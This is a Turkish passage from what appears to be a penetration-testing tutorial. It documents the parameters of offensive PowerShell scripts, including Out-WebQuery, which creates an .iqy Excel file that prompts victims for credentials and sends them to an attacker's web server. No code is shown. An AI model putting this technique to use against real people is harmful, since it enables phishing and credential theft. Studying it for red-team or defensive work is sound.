OutputPath: Varsayılan olarak aynı dizine “Server.lnk” ismiyle çıkartılan dosyanın, isteğe bağlı olarak çıkarılacağı yolu belirtir.

HotKey: Kısayol için atanacak tuşu belirler. Varsayılan tuş F5 tuşudur.

Icon: Oluşturulacak kısayola bir ikon atar. Varsayılan ikon “explorer.exe”dir.

Resim 2.5.9.1 – Out-Shortcut

 2.5.10 Out-WebQuery

Bu script “.iqy” uzantılı bir Web Query oluşturur. Kurban bilgisayarda bu dosya çalıştırıldığında bir Excel penceresi açılır ve kullanıcıya veri bağlantısını etkinleştirmek için bir uyarı penceresi açılır. Kurban izin verirse, bir kimlik doğrulama penceresi açılır. Kurban tarafından girilen kimlik bilgileri, belirtilen uzak sunucuya gönderilir. Saldırganın bu bilgileri elde etmesi için bir web sunucusu başlatması gerekir.

Bu script için parametreler aşağıda açıklanmıştır:

URL: İstekleri kaydeden saldırgan web sunucusuna ait olan URL adresi

Message: Veri bağlantısını etkinleştirdikten sonra kurbana gösterilecek olan mesaj

OutputPath: Varsayılan olarak aynı dizine “QueryData.iqy” ismiyle çıkartılan dosyanın, isteğe bağlı olarak çıkarılacağı yolu belirtir.

Resim 2.5.10.1 – Out-WebQuery
Resim 2.5.10.2 – Excel ile Açılan .iqy Uzantılı Dosya
Resim 2.5.10.3 – Kimlik Bilgilerini Almak için Kullanılan Yakalama Scripti
Resim 2.5.10.4 – Kimlik Doğrulama Sonucu Kullanıcı Adı ve Parolasının Alınması

Bir sonraki bölümü okumak için: